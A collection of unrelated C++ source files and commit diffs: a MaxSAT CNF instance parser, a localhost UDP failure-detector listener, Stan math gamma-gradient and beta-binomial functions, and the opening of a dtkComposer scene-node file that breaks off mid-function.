bool MaxSatInstance::isTautologicalClause( int lits[ MAX_NUM_LITERALS ], int& numLits, const int clauseNum ) {
// sort the clause and remove redundant literals
//!! For large clauses better use sort()
int temp, tempLit;
for (int i=0; i<numLits-1; tempLit = lits[i++]) {
for (int j=i+1; j<numLits; j++) {
if (abs(tempLit) > abs(lits[j])) {
temp = lits[j];
lits[j] = tempLit;
tempLit = temp;
} else if (tempLit == lits[j]) {
lits[j--] = lits[--numLits];
printf("c literal %d is redundant in clause %d\n", tempLit, clauseNum);
} else if (abs(tempLit) == abs(lits[j])) {
printf("c Clause %d is tautological.\n", clauseNum);
return true;
}
}
}
return false;
}
MaxSatInstance::MaxSatInstance( const char* filename )
{
ifstream infile(filename);
if (!infile) {
fprintf(stderr, "c Error: could not read from %s.\n", filename);
exit(1);
}
while (infile.get() != 'p') {
infile.ignore(MAX_LINE_LENGTH, '\n');
}
char strbuf[MAX_LINE_LENGTH];
infile >> strbuf;
if( strcmp(strbuf, "cnf")==0 ) {
format = CNF;
} else if( strcmp(strbuf, "wcnf")==0 ) {
format = WEIGHTED;
} else if( strcmp(strbuf, "pcnf")==0 ) {
format = PARTIAL;
} else if( strcmp(strbuf, "wpcnf")==0 ) {
format = WEIGHTED_PARTIAL;
} else {
fprintf(stderr, "c Error: Can only understand cnf format!\n");
exit(1);
}
infile >> numVars >> numClauses;
clauseLengths = new int[ numClauses ];
negClausesWithVar = new vector<int>[ numVars+1 ];
posClausesWithVar = new vector<int>[ numVars+1 ];
unitClauses = binaryClauses = ternaryClauses = 0;
int lits[ MAX_NUM_LITERALS ];
for (int clauseNum=0; clauseNum<numClauses; clauseNum++) {
int numLits = 0;
infile >> lits[numLits];
while (lits[numLits] != 0)
infile >> lits[++numLits];
if ( numLits == 1 or !isTautologicalClause( lits, numLits, clauseNum )) {
clauseLengths[clauseNum] = numLits;
switch( numLits ) {
case 1: unitClauses++; break;
case 2: binaryClauses++; break;
case 3: ternaryClauses++; break;
}
for (int litNum = 0; litNum < numLits; litNum++)
if (lits[litNum] < 0)
negClausesWithVar[abs(lits[litNum])].push_back(clauseNum);
else
posClausesWithVar[lits[litNum]].push_back(clauseNum);
} else {
clauseNum--;
numClauses--;
}
}
}
MaxSatInstance::~MaxSatInstance() {
delete clauseLengths;
}
void MaxSatInstance::printInfo(ostream& os) {
os << "Num vars: " << numVars << endl;
os << "Num clauses: " << numClauses << endl;
os << "Ratio c/v: " << float(numClauses/numVars) << endl;
for (int varNum=1; varNum<=numVars; varNum++) {
os << "Neg [" << varNum << "]: " << negClausesWithVar[ varNum ].size() << endl;
os << "Pos [" << varNum << "]: " << posClausesWithVar[ varNum ].size() << endl;
}
os << "Unary: " << unitClauses << endl;
os << "Binary: " << binaryClauses << endl;
os << "Ternary: " << ternaryClauses << endl;
}
#include <iostream>
int main( int argc, char* argv[] ) {
if ( argc <= 1 ) exit(-1);
MaxSatInstance msi( argv[1] );
msi.printInfo( cout );
return 0;
}
<|endoftext|> |
<commit_before>// cpl::net::IP
#include <cppl/include/ip.hpp>
// cpl::net::UDP_Socket
#include <cppl/include/udp_socket.hpp>
// cpl::net::Sockaddr
#include <cppl/include/sockaddr.hpp>
// std::cout
#include <iostream>
// std::thread
#include <thread>
// std::chrono
#include <chrono>
#include "flags.hpp"
int
main(int argc, char* argv[]) {
cpl::net::IP listen_ip("127.0.0.1");
int listen_port = 2020;
cpl::Flags flags("failure-detector", "0.0.1");
flags.add_option("--help", "-h", "show help documentation", show_help, &flags);
flags.add_option("--listen", "-l", "set listen address", set_listen, &listen_ip);
flags.add_option("--port", "-p", "set listen port", set_listen_port, &listen_port);
flags.parse(argc, argv);
cpl::net::UDP_Socket sock;
sock.bind(listen_ip.string(), listen_port);
std::cout << "failure detector listening on " << listen_ip << ":" << listen_port << std::endl;
std::thread listener([&sock]() {
uint8_t buf[16000];
while (true) {
cpl::net::SockAddr saddr;
int len = sock.recvfrom(buf, 16000, 0, &saddr);
std::cout << "Message from " <<
saddr.address() << ":" << saddr.port() << ": " <<
std::string(reinterpret_cast<const char*>(buf), (size_t)len) << std::endl;
}
});
while (true) {
std::this_thread::sleep_for(std::chrono::seconds(1));
}
return 0;
}
<commit_msg>catch exceptions<commit_after>// cpl::net::IP
#include <cppl/include/ip.hpp>
// cpl::net::UDP_Socket
#include <cppl/include/udp_socket.hpp>
// cpl::net::Sockaddr
#include <cppl/include/sockaddr.hpp>
// std::cout
#include <iostream>
// std::thread
#include <thread>
// std::chrono
#include <chrono>
#include "flags.hpp"
int
main(int argc, char* argv[]) {
cpl::net::IP listen_ip("127.0.0.1");
int listen_port = 2020;
cpl::Flags flags("failure-detector", "0.0.1");
flags.add_option("--help", "-h", "show help documentation", show_help, &flags);
flags.add_option("--listen", "-l", "set listen address", set_listen, &listen_ip);
flags.add_option("--port", "-p", "set listen port", set_listen_port, &listen_port);
flags.parse(argc, argv);
cpl::net::UDP_Socket sock;
try {
sock.bind(listen_ip.string(), listen_port);
} catch(...) {
std::cout << "unable to listen on " << listen_ip << ":" << listen_port << "!" << std::endl;
exit(1);
}
std::cout << "failure detector listening on " << listen_ip << ":" << listen_port << std::endl;
std::thread listener([&sock]() {
uint8_t buf[16000];
while (true) {
cpl::net::SockAddr saddr;
int len = sock.recvfrom(buf, 16000, 0, &saddr);
std::cout << "Message from " <<
saddr.address() << ":" << saddr.port() << ": " <<
std::string(reinterpret_cast<const char*>(buf), (size_t)len) << std::endl;
}
});
while (true) {
std::this_thread::sleep_for(std::chrono::seconds(1));
}
return 0;
}
<|endoftext|> |
<commit_before>#ifndef STAN_MATH_PRIM_FUN_LOWER_REG_INC_GAMMA_HPP
#define STAN_MATH_PRIM_FUN_LOWER_REG_INC_GAMMA_HPP
#include <stan/math/prim/meta.hpp>
#include <stan/math/prim/err.hpp>
#include <stan/math/prim/fun/digamma.hpp>
#include <stan/math/prim/fun/exp.hpp>
#include <stan/math/prim/fun/gamma_p.hpp>
#include <stan/math/prim/fun/grad_reg_inc_gamma.hpp>
#include <stan/math/prim/fun/is_any_nan.hpp>
#include <stan/math/prim/fun/is_inf.hpp>
#include <stan/math/prim/fun/lgamma.hpp>
#include <stan/math/prim/fun/log.hpp>
#include <stan/math/prim/fun/log1p.hpp>
#include <stan/math/prim/fun/sqrt.hpp>
#include <stan/math/prim/fun/tgamma.hpp>
#include <stan/math/prim/fun/value_of_rec.hpp>
#include <limits>
#include <cmath>
namespace stan {
namespace math {
/**
* Computes the gradient of the lower regularized incomplete
* gamma function.
*
* The lower incomplete gamma function
* derivative w.r.t its first parameter (a) seems to have no
* standard source. It also appears to have no widely known
* approximate implementation. Gautschi (1979) has a thorough
* discussion of the calculation of the lower regularized
* incomplete gamma function itself and some stability issues.
*
* Reference: Gautschi, Walter (1979) ACM Transactions on
* mathematical software. 5(4):466-481
*
* We implemented calculations for d(gamma_p)/da by taking
* derivatives of formulas suggested by Gauschi and others and
* testing them against an outside source (Mathematica). We
* took three implementations which can cover the range {a:[0,20],
* z:[0,30]} with absolute error < 1e-10 with the exception of
* values near (0,0) where the error is near 1e-5. Relative error
* is also <<1e-6 except for regions where the gradient approaches
* zero.
*
* Gautschi suggests calculating the lower incomplete gamma
* function for small to moderate values of $z$ using the
* approximation:
*
* \f[
* \frac{\gamma(a,z)}{\Gamma(a)}=z^a e^-z
* \sum_n=0^\infty \frac{z^n}{\Gamma(a+n+1)}
* \f]
*
* We write the derivative in the form:
*
* \f[
* \frac{d\gamma(a,z)\Gamma(a)}{da} = \frac{\log z}{e^z}
* \sum_n=0^\infty \frac{z^{a+n}}{\Gamma(a+n+1)}
* - \frac{1}{e^z}
* \sum_n=0^\infty \frac{z^{a+n}}{\Gamma(a+n+1)}\psi^0(a+n+1)
* \f]
*
* This calculation is sufficiently accurate for small $a$ and
* small $z$. For larger values and $a$ and $z$ we use it in its
* log form:
*
* \f[
* \frac{d \gamma(a,z)\Gamma(a)}{da} = \frac{\log z}{e^z}
* \sum_n=0^\infty \exp[(a+n)\log z - \log\Gamma(a+n+1)]
* - \sum_n=0^\infty \exp[(a+n)\log z - \log\Gamma(a+n+1) +
* \log\psi^0(a+n+1)]
* \f]
*
* For large $z$, Gauschi recommends using the upper incomplete
* Gamma instead and the negative of its derivative turns out to be
* more stable and accurate for larger $z$ and for some combinations
* of $a$ and $z$. This is a log-scale implementation of the
* derivative of the formulation suggested by Gauschi (1979). For
* some values it defers to the negative of the gradient
* for the gamma_q function. This is based on the suggestion by Gauschi
* (1979) that for large values of $z$ it is better to
* carry out calculations using the upper incomplete Gamma function.
*
* Branching for choice of implementation for the lower incomplete
* regularized gamma function gradient. The derivative based on
* Gautschi's formulation appears to be sufficiently accurate
* everywhere except for large z and small to moderate a. The
* intersection between the two regions is a radius 12 quarter circle
* centered at a=0, z=30 although both implementations are
* satisfactory near the intersection.
*
* Some limits that could be treated, e.g., infinite z should
* return tgamma(a) * digamma(a), throw instead to match the behavior of,
* e.g., boost::math::gamma_p
*
* @tparam T1 type of a
* @tparam T2 type of z
* @param[in] a shared with complete Gamma
* @param[in] z value to integrate up to
* @param[in] precision series terminates when increment falls below
* this value.
* @param[in] max_steps number of terms to sum before throwing
* @throw std::domain_error if the series does not converge to
* requested precision before max_steps.
*
*/
template <typename T1, typename T2>
return_type_t<T1, T2> grad_reg_lower_inc_gamma(const T1& a, const T2& z,
double precision = 1e-10,
int max_steps = 1e5) {
using std::exp;
using std::log;
using std::pow;
using std::sqrt;
using TP = return_type_t<T1, T2>;
if (is_any_nan(a, z)) {
return std::numeric_limits<TP>::quiet_NaN();
}
check_positive_finite("grad_reg_lower_inc_gamma", "a", a);
if (z == 0.0) {
return 0.0;
}
check_positive_finite("grad_reg_lower_inc_gamma", "z", z);
if ((a < 0.8 && z > 15.0) || (a < 12.0 && z > 30.0)
|| a < sqrt(-756 - value_of_rec(z) * value_of_rec(z)
+ 60 * value_of_rec(z))) {
T1 tg = tgamma(a);
T1 dig = digamma(a);
return -grad_reg_inc_gamma(a, z, tg, dig, max_steps, precision);
}
T2 log_z = log(z);
T2 emz = exp(-z);
int n = 0;
T1 a_plus_n = a;
TP sum_a = 0.0;
T1 lgamma_a_plus_1 = lgamma(a + 1);
T1 lgamma_a_plus_n_plus_1 = lgamma_a_plus_1;
TP term;
while (true) {
term = exp(a_plus_n * log_z - lgamma_a_plus_n_plus_1);
sum_a += term;
if (term <= precision) {
break;
}
if (n >= max_steps) {
throw_domain_error("grad_reg_lower_inc_gamma", "n (internal counter)",
max_steps, "exceeded ",
" iterations, gamma_p(a,z) gradient (a) "
"did not converge.");
}
++n;
lgamma_a_plus_n_plus_1 += log1p(a_plus_n);
++a_plus_n;
}
n = 1;
a_plus_n = a + 1;
TP digammap1 = digamma(a + 1);
TP sum_b = digammap1 * exp(a * log_z - lgamma_a_plus_1);
lgamma_a_plus_n_plus_1 = lgamma_a_plus_1 + log(a_plus_n);
while (true) {
digammap1 += 1 / a_plus_n;
term = exp(a_plus_n * log_z - lgamma_a_plus_n_plus_1)
* digammap1;
sum_b += term;
if (term <= precision) {
return emz * (log_z * sum_a - sum_b);
}
if (n >= max_steps) {
throw_domain_error("grad_reg_lower_inc_gamma", "n (internal counter)",
max_steps, "exceeded ",
" iterations, gamma_p(a,z) gradient (a) "
"did not converge.");
}
++n;
lgamma_a_plus_n_plus_1 += log1p(a_plus_n);
++a_plus_n;
}
}
} // namespace math
} // namespace stan
#endif
<commit_msg>Update grad_reg_lower_inc_gamma.hpp<commit_after>#ifndef STAN_MATH_PRIM_FUN_LOWER_REG_INC_GAMMA_HPP
#define STAN_MATH_PRIM_FUN_LOWER_REG_INC_GAMMA_HPP
#include <stan/math/prim/meta.hpp>
#include <stan/math/prim/err.hpp>
#include <stan/math/prim/fun/digamma.hpp>
#include <stan/math/prim/fun/exp.hpp>
#include <stan/math/prim/fun/gamma_p.hpp>
#include <stan/math/prim/fun/grad_reg_inc_gamma.hpp>
#include <stan/math/prim/fun/is_any_nan.hpp>
#include <stan/math/prim/fun/is_inf.hpp>
#include <stan/math/prim/fun/lgamma.hpp>
#include <stan/math/prim/fun/log.hpp>
#include <stan/math/prim/fun/log1p.hpp>
#include <stan/math/prim/fun/sqrt.hpp>
#include <stan/math/prim/fun/tgamma.hpp>
#include <stan/math/prim/fun/value_of_rec.hpp>
#include <limits>
#include <cmath>
namespace stan {
namespace math {
/**
* Computes the gradient of the lower regularized incomplete
* gamma function.
*
* The lower incomplete gamma function
* derivative w.r.t its first parameter (a) seems to have no
* standard source. It also appears to have no widely known
* approximate implementation. Gautschi (1979) has a thorough
* discussion of the calculation of the lower regularized
* incomplete gamma function itself and some stability issues.
*
* Reference: Gautschi, Walter (1979) ACM Transactions on
* mathematical software. 5(4):466-481
*
* We implemented calculations for d(gamma_p)/da by taking
* derivatives of formulas suggested by Gauschi and others and
* testing them against an outside source (Mathematica). We
* took three implementations which can cover the range {a:[0,20],
* z:[0,30]} with absolute error < 1e-10 with the exception of
* values near (0,0) where the error is near 1e-5. Relative error
* is also <<1e-6 except for regions where the gradient approaches
* zero.
*
* Gautschi suggests calculating the lower incomplete gamma
* function for small to moderate values of $z$ using the
* approximation:
*
* \f[
* \frac{\gamma(a,z)}{\Gamma(a)}=z^a e^-z
* \sum_n=0^\infty \frac{z^n}{\Gamma(a+n+1)}
* \f]
*
* We write the derivative in the form:
*
* \f[
* \frac{d\gamma(a,z)\Gamma(a)}{da} = \frac{\log z}{e^z}
* \sum_n=0^\infty \frac{z^{a+n}}{\Gamma(a+n+1)}
* - \frac{1}{e^z}
* \sum_n=0^\infty \frac{z^{a+n}}{\Gamma(a+n+1)}\psi^0(a+n+1)
* \f]
*
* This calculation is sufficiently accurate for small $a$ and
* small $z$. For larger values and $a$ and $z$ we use it in its
* log form:
*
* \f[
* \frac{d \gamma(a,z)\Gamma(a)}{da} = \frac{\log z}{e^z}
* \sum_n=0^\infty \exp[(a+n)\log z - \log\Gamma(a+n+1)]
* - \sum_n=0^\infty \exp[(a+n)\log z - \log\Gamma(a+n+1) +
* \log\psi^0(a+n+1)]
* \f]
*
* For large $z$, Gauschi recommends using the upper incomplete
* Gamma instead and the negative of its derivative turns out to be
* more stable and accurate for larger $z$ and for some combinations
* of $a$ and $z$. This is a log-scale implementation of the
* derivative of the formulation suggested by Gauschi (1979). For
* some values it defers to the negative of the gradient
* for the gamma_q function. This is based on the suggestion by Gauschi
* (1979) that for large values of $z$ it is better to
* carry out calculations using the upper incomplete Gamma function.
*
* Branching for choice of implementation for the lower incomplete
* regularized gamma function gradient. The derivative based on
* Gautschi's formulation appears to be sufficiently accurate
* everywhere except for large z and small to moderate a. The
* intersection between the two regions is a radius 12 quarter circle
* centered at a=0, z=30 although both implementations are
* satisfactory near the intersection.
*
* Some limits that could be treated, e.g., infinite z should
* return tgamma(a) * digamma(a), throw instead to match the behavior of,
* e.g., boost::math::gamma_p
*
* @tparam T1 type of a
* @tparam T2 type of z
* @param[in] a shared with complete Gamma
* @param[in] z value to integrate up to
* @param[in] precision series terminates when increment falls below
* this value.
* @param[in] max_steps number of terms to sum before throwing
* @throw std::domain_error if the series does not converge to
* requested precision before max_steps.
*
*/
template <typename T1, typename T2>
return_type_t<T1, T2> grad_reg_lower_inc_gamma(const T1& a, const T2& z,
double precision = 1e-10,
int max_steps = 1e5) {
using std::exp;
using std::log;
using std::pow;
using std::sqrt;
using TP = return_type_t<T1, T2>;
if (is_any_nan(a, z)) {
return std::numeric_limits<TP>::quiet_NaN();
}
check_positive_finite("grad_reg_lower_inc_gamma", "a", a);
if (z == 0.0) {
return 0.0;
}
check_positive_finite("grad_reg_lower_inc_gamma", "z", z);
if ((a < 0.8 && z > 15.0) || (a < 12.0 && z > 30.0)
|| a < sqrt(-756 - value_of_rec(z) * value_of_rec(z)
+ 60 * value_of_rec(z))) {
T1 tg = tgamma(a);
T1 dig = digamma(a);
return -grad_reg_inc_gamma(a, z, tg, dig, max_steps, precision);
}
T2 log_z = log(z);
T2 emz = exp(-z);
int n = 0;
T1 a_plus_n = a;
TP sum_a = 0.0;
T1 lgamma_a_plus_1 = lgamma(a + 1);
T1 lgamma_a_plus_n_plus_1 = lgamma_a_plus_1;
TP term;
while (true) {
term = exp(a_plus_n * log_z - lgamma_a_plus_n_plus_1);
sum_a += term;
if (term <= precision) {
break;
}
if (n >= max_steps) {
throw_domain_error("grad_reg_lower_inc_gamma", "n (internal counter)",
max_steps, "exceeded ",
" iterations, gamma_p(a,z) gradient (a) "
"did not converge.");
}
++n;
lgamma_a_plus_n_plus_1 += log1p(a_plus_n);
++a_plus_n;
}
n = 1;
a_plus_n = a + 1;
TP digammap1 = digamma(a_plus_n);
TP sum_b = digammap1 * exp(a * log_z - lgamma_a_plus_1);
lgamma_a_plus_n_plus_1 = lgamma_a_plus_1 + log(a_plus_n);
while (true) {
digammap1 += 1 / a_plus_n;
term = exp(a_plus_n * log_z - lgamma_a_plus_n_plus_1)
* digammap1;
sum_b += term;
if (term <= precision) {
return emz * (log_z * sum_a - sum_b);
}
if (n >= max_steps) {
throw_domain_error("grad_reg_lower_inc_gamma", "n (internal counter)",
max_steps, "exceeded ",
" iterations, gamma_p(a,z) gradient (a) "
"did not converge.");
}
++n;
lgamma_a_plus_n_plus_1 += log1p(a_plus_n);
++a_plus_n;
}
}
} // namespace math
} // namespace stan
#endif
<|endoftext|> |
<commit_before>#ifndef STAN_MATH_PRIM_SCAL_PROB_BETA_BINOMIAL_LPMF_HPP
#define STAN_MATH_PRIM_SCAL_PROB_BETA_BINOMIAL_LPMF_HPP
#include <stan/math/prim/meta.hpp>
#include <stan/math/prim/scal/err/check_consistent_sizes.hpp>
#include <stan/math/prim/scal/err/check_nonnegative.hpp>
#include <stan/math/prim/scal/err/check_positive_finite.hpp>
#include <stan/math/prim/scal/fun/size_zero.hpp>
#include <stan/math/prim/scal/fun/constants.hpp>
#include <stan/math/prim/scal/fun/lbeta.hpp>
#include <stan/math/prim/scal/fun/digamma.hpp>
#include <stan/math/prim/scal/fun/lgamma.hpp>
#include <stan/math/prim/scal/fun/binomial_coefficient_log.hpp>
#include <stan/math/prim/scal/fun/value_of.hpp>
#include <stan/math/prim/scal/fun/F32.hpp>
#include <stan/math/prim/scal/fun/grad_F32.hpp>
namespace stan {
namespace math {
/**
* Returns the log PMF of the Beta-Binomial distribution with given population
* size, prior success, and prior failure parameters. Given containers of
* matching sizes, returns the log sum of probabilities.
*
* @tparam T_n type of success parameter
* @tparam T_N type of population size parameter
* @tparam T_size1 type of prior success parameter
* @tparam T_size2 type of prior failure parameter
* @param n success parameter
* @param N population size parameter
* @param alpha prior success parameter
* @param beta prior failure parameter
* @return log probability or log sum of probabilities
* @throw std::domain_error if N, alpha, or beta fails to be positive
* @throw std::invalid_argument if container sizes mismatch
*/
template <bool propto, typename T_n, typename T_N, typename T_size1,
typename T_size2>
return_type_t<T_size1, T_size2> beta_binomial_lpmf(const T_n& n, const T_N& N,
const T_size1& alpha,
const T_size2& beta) {
static const char* function = "beta_binomial_lpmf";
typedef partials_return_type_t<T_size1, T_size2> T_partials_return;
if (size_zero(n, N, alpha, beta))
return 0.0;
T_partials_return logp(0.0);
check_nonnegative(function, "Population size parameter", N);
check_positive_finite(function, "First prior sample size parameter", alpha);
check_positive_finite(function, "Second prior sample size parameter", beta);
check_consistent_sizes(function, "Successes variable", n,
"Population size parameter", N,
"First prior sample size parameter", alpha,
"Second prior sample size parameter", beta);
if (!include_summand<propto, T_size1, T_size2>::value)
return 0.0;
operands_and_partials<T_size1, T_size2> ops_partials(alpha, beta);
scalar_seq_view<T_n> n_vec(n);
scalar_seq_view<T_N> N_vec(N);
scalar_seq_view<T_size1> alpha_vec(alpha);
scalar_seq_view<T_size2> beta_vec(beta);
size_t size = max_size(n, N, alpha, beta);
for (size_t i = 0; i < size; i++) {
if (n_vec[i] < 0 || n_vec[i] > N_vec[i])
return ops_partials.build(LOG_ZERO);
}
VectorBuilder<include_summand<propto>::value, T_partials_return, T_n, T_N>
normalizing_constant(max_size(N, n));
for (size_t i = 0; i < max_size(N, n); i++)
if (include_summand<propto>::value)
normalizing_constant[i] = binomial_coefficient_log(N_vec[i], n_vec[i]);
VectorBuilder<include_summand<propto, T_size1, T_size2>::value,
T_partials_return, T_n, T_N, T_size1, T_size2>
lbeta_numerator(size);
for (size_t i = 0; i < size; i++)
if (include_summand<propto, T_size1, T_size2>::value)
lbeta_numerator[i] = lbeta(n_vec[i] + value_of(alpha_vec[i]),
N_vec[i] - n_vec[i] + value_of(beta_vec[i]));
VectorBuilder<include_summand<propto, T_size1, T_size2>::value,
T_partials_return, T_size1, T_size2>
lbeta_denominator(max_size(alpha, beta));
for (size_t i = 0; i < max_size(alpha, beta); i++)
if (include_summand<propto, T_size1, T_size2>::value)
lbeta_denominator[i]
= lbeta(value_of(alpha_vec[i]), value_of(beta_vec[i]));
VectorBuilder<!is_constant_all<T_size1>::value, T_partials_return, T_n,
T_size1>
digamma_n_plus_alpha(max_size(n, alpha));
for (size_t i = 0; i < max_size(n, alpha); i++)
if (!is_constant_all<T_size1>::value)
digamma_n_plus_alpha[i] = digamma(n_vec[i] + value_of(alpha_vec[i]));
VectorBuilder<!is_constant_all<T_size1, T_size2>::value, T_partials_return,
T_N, T_size1, T_size2>
digamma_N_plus_alpha_plus_beta(max_size(N, alpha, beta));
for (size_t i = 0; i < max_size(N, alpha, beta); i++)
if (!is_constant_all<T_size1, T_size2>::value)
digamma_N_plus_alpha_plus_beta[i]
= digamma(N_vec[i] + value_of(alpha_vec[i]) + value_of(beta_vec[i]));
VectorBuilder<!is_constant_all<T_size1, T_size2>::value, T_partials_return,
T_size1, T_size2>
digamma_alpha_plus_beta(max_size(alpha, beta));
for (size_t i = 0; i < max_size(alpha, beta); i++)
if (!is_constant_all<T_size1, T_size2>::value)
digamma_alpha_plus_beta[i]
= digamma(value_of(alpha_vec[i]) + value_of(beta_vec[i]));
VectorBuilder<!is_constant_all<T_size1>::value, T_partials_return, T_size1>
digamma_alpha(length(alpha));
for (size_t i = 0; i < length(alpha); i++)
if (!is_constant_all<T_size1>::value)
digamma_alpha[i] = digamma(value_of(alpha_vec[i]));
VectorBuilder<!is_constant_all<T_size2>::value, T_partials_return, T_size2>
digamma_beta(length(beta));
for (size_t i = 0; i < length(beta); i++)
if (!is_constant_all<T_size2>::value)
digamma_beta[i] = digamma(value_of(beta_vec[i]));
for (size_t i = 0; i < size; i++) {
if (include_summand<propto>::value)
logp += normalizing_constant[i];
if (include_summand<propto, T_size1, T_size2>::value)
logp += lbeta_numerator[i] - lbeta_denominator[i];
if (!is_constant_all<T_size1>::value)
ops_partials.edge1_.partials_[i]
+= digamma_n_plus_alpha[i] - digamma_N_plus_alpha_plus_beta[i]
+ digamma_alpha_plus_beta[i] - digamma_alpha[i];
if (!is_constant_all<T_size2>::value)
ops_partials.edge2_.partials_[i]
+= digamma(value_of(N_vec[i] - n_vec[i] + beta_vec[i]))
- digamma_N_plus_alpha_plus_beta[i] + digamma_alpha_plus_beta[i]
- digamma_beta[i];
}
return ops_partials.build(logp);
}
template <typename T_n, typename T_N, typename T_size1, typename T_size2>
return_type_t<T_size1, T_size2> beta_binomial_lpmf(const T_n& n, const T_N& N,
const T_size1& alpha,
const T_size2& beta) {
return beta_binomial_lpmf<false>(n, N, alpha, beta);
}
} // namespace math
} // namespace stan
#endif
<commit_msg>Moves if statements for beta-binomial in scal out of for loops<commit_after>#ifndef STAN_MATH_PRIM_SCAL_PROB_BETA_BINOMIAL_LPMF_HPP
#define STAN_MATH_PRIM_SCAL_PROB_BETA_BINOMIAL_LPMF_HPP
#include <stan/math/prim/meta.hpp>
#include <stan/math/prim/scal/err/check_consistent_sizes.hpp>
#include <stan/math/prim/scal/err/check_nonnegative.hpp>
#include <stan/math/prim/scal/err/check_positive_finite.hpp>
#include <stan/math/prim/scal/fun/size_zero.hpp>
#include <stan/math/prim/scal/fun/constants.hpp>
#include <stan/math/prim/scal/fun/lbeta.hpp>
#include <stan/math/prim/scal/fun/digamma.hpp>
#include <stan/math/prim/scal/fun/lgamma.hpp>
#include <stan/math/prim/scal/fun/binomial_coefficient_log.hpp>
#include <stan/math/prim/scal/fun/value_of.hpp>
#include <stan/math/prim/scal/fun/F32.hpp>
#include <stan/math/prim/scal/fun/grad_F32.hpp>
namespace stan {
namespace math {
/**
* Returns the log PMF of the Beta-Binomial distribution with given population
* size, prior success, and prior failure parameters. Given containers of
* matching sizes, returns the log sum of probabilities.
*
* @tparam T_n type of success parameter
* @tparam T_N type of population size parameter
* @tparam T_size1 type of prior success parameter
* @tparam T_size2 type of prior failure parameter
* @param n success parameter
* @param N population size parameter
* @param alpha prior success parameter
* @param beta prior failure parameter
* @return log probability or log sum of probabilities
* @throw std::domain_error if N, alpha, or beta fails to be positive
* @throw std::invalid_argument if container sizes mismatch
*/
template <bool propto, typename T_n, typename T_N, typename T_size1,
typename T_size2>
return_type_t<T_size1, T_size2> beta_binomial_lpmf(const T_n& n, const T_N& N,
const T_size1& alpha,
const T_size2& beta) {
static const char* function = "beta_binomial_lpmf";
typedef partials_return_type_t<T_size1, T_size2> T_partials;
if (size_zero(n, N, alpha, beta)) {
return 0.0;
}
T_partials logp(0.0);
check_nonnegative(function, "Population size parameter", N);
check_positive_finite(function, "First prior sample size parameter", alpha);
check_positive_finite(function, "Second prior sample size parameter", beta);
check_consistent_sizes(function, "Successes variable", n,
"Population size parameter", N,
"First prior sample size parameter", alpha,
"Second prior sample size parameter", beta);
if (!include_summand<propto, T_size1, T_size2>::value) {
return 0.0;
}
operands_and_partials<T_size1, T_size2> ops_partials(alpha, beta);
const scalar_seq_view<T_n> n_vec(n);
const scalar_seq_view<T_N> N_vec(N);
const scalar_seq_view<T_size1> alpha_vec(alpha);
const scalar_seq_view<T_size2> beta_vec(beta);
const auto size = max_size(n, N, alpha, beta);
for (size_t i = 0; i < size; i++) {
if (n_vec[i] < 0 || n_vec[i] > N_vec[i])
return ops_partials.build(LOG_ZERO);
}
if (include_summand<propto>::value) {
for (size_t i = 0; i < size; i++) {
// normalizing constant
logp += binomial_coefficient_log(N_vec[i], n_vec[i]);
// log numerator - denominator
logp += lbeta(n_vec[i] + value_of(alpha_vec[i]),
N_vec[i] - n_vec[i] + value_of(beta_vec[i]))
- lbeta(value_of(alpha_vec[i]), value_of(beta_vec[i]));
}
}
VectorBuilder<!is_constant_all<T_size1, T_size2>::value, T_partials, T_N,
T_size1, T_size2>
digamma_N_plus_alpha_plus_beta(size);
VectorBuilder<!is_constant_all<T_size1, T_size2>::value, T_partials, T_size1,
T_size2>
digamma_alpha_plus_beta(size);
if (!is_constant_all<T_size1, T_size2>::value) {
for (size_t i = 0; i < size; i++) {
digamma_N_plus_alpha_plus_beta[i]
= digamma(N_vec[i] + value_of(alpha_vec[i]) + value_of(beta_vec[i]));
digamma_alpha_plus_beta[i]
= digamma(value_of(alpha_vec[i]) + value_of(beta_vec[i]));
}
}
if (!is_constant_all<T_size1>::value) {
for (size_t i = 0; i < size; i++) {
ops_partials.edge1_.partials_[i]
+= digamma(n_vec[i] + value_of(alpha_vec[i]))
- digamma_N_plus_alpha_plus_beta[i] + digamma_alpha_plus_beta[i]
- digamma(value_of(alpha_vec[i]));
}
}
if (!is_constant_all<T_size2>::value) {
for (size_t i = 0; i < size; i++) {
ops_partials.edge2_.partials_[i]
+= digamma(value_of(N_vec[i] - n_vec[i] + beta_vec[i]))
- digamma_N_plus_alpha_plus_beta[i] + digamma_alpha_plus_beta[i]
- digamma(value_of(beta_vec[i]));
}
}
return ops_partials.build(logp);
}
template <typename T_n, typename T_N, typename T_size1, typename T_size2>
return_type_t<T_size1, T_size2> beta_binomial_lpmf(const T_n& n, const T_N& N,
const T_size1& alpha,
const T_size2& beta) {
return beta_binomial_lpmf<false>(n, N, alpha, beta);
}
} // namespace math
} // namespace stan
#endif
<|endoftext|> |
<commit_before>/* dtkComposerSceneNodeLeaf.cpp ---
*
* Author: Julien Wintz
* Copyright (C) 2008-2011 - Julien Wintz, Inria.
* Created: Fri Feb 3 14:02:14 2012 (+0100)
* Version: $Id$
* Last-Updated: Mon Feb 27 16:14:30 2012 (+0100)
* By: Julien Wintz
* Update #: 200
*/
/* Commentary:
*
*/
/* Change log:
*
*/
#include "dtkComposerNode.h"
#include "dtkComposerSceneNode.h"
#include "dtkComposerSceneNode_p.h"
#include "dtkComposerSceneNodeLeaf.h"
#include "dtkComposerScenePort.h"
#include "dtkComposerTransmitter.h"
class dtkComposerSceneNodeLeafPrivate
{
public:
QRectF rect;
};
dtkComposerSceneNodeLeaf::dtkComposerSceneNodeLeaf(void) : dtkComposerSceneNode(), d(new dtkComposerSceneNodeLeafPrivate)
{
d->rect = QRectF(0, 0, 150, 50);
}
dtkComposerSceneNodeLeaf::~dtkComposerSceneNodeLeaf(void)
{
delete d;
d = NULL;
}
void dtkComposerSceneNodeLeaf::wrap(dtkComposerNode *node)
{
dtkComposerSceneNode::wrap(node);
foreach(dtkComposerTransmitter *receiver, node->receivers()) {
dtkComposerScenePort *port = new dtkComposerScenePort(dtkComposerScenePort::Input, this);
port->setLabel(node->inputLabelHint(this->inputPorts().indexOf(port)));
this->addInputPort(port);
}
foreach(dtkComposerTransmitter *emitter, node->emitters()) {
dtkComposerScenePort *port = new dtkComposerScenePort(dtkComposerScenePort::Output, this);
port->setLabel(node->outputLabelHint(this->outputPorts().indexOf(port)));
this->addOutputPort(port);
}
this->layout();
}
void dtkComposerSceneNodeLeaf::layout(void)
{
int header = this->embedded() ? 0 : 15;
int port_margin_top = 10;
int port_margin_bottom = 10;
int port_margin_left = 10;
int port_spacing = 10;
// Setting up port position
for(int i = 0; i < this->inputPorts().count(); i++)
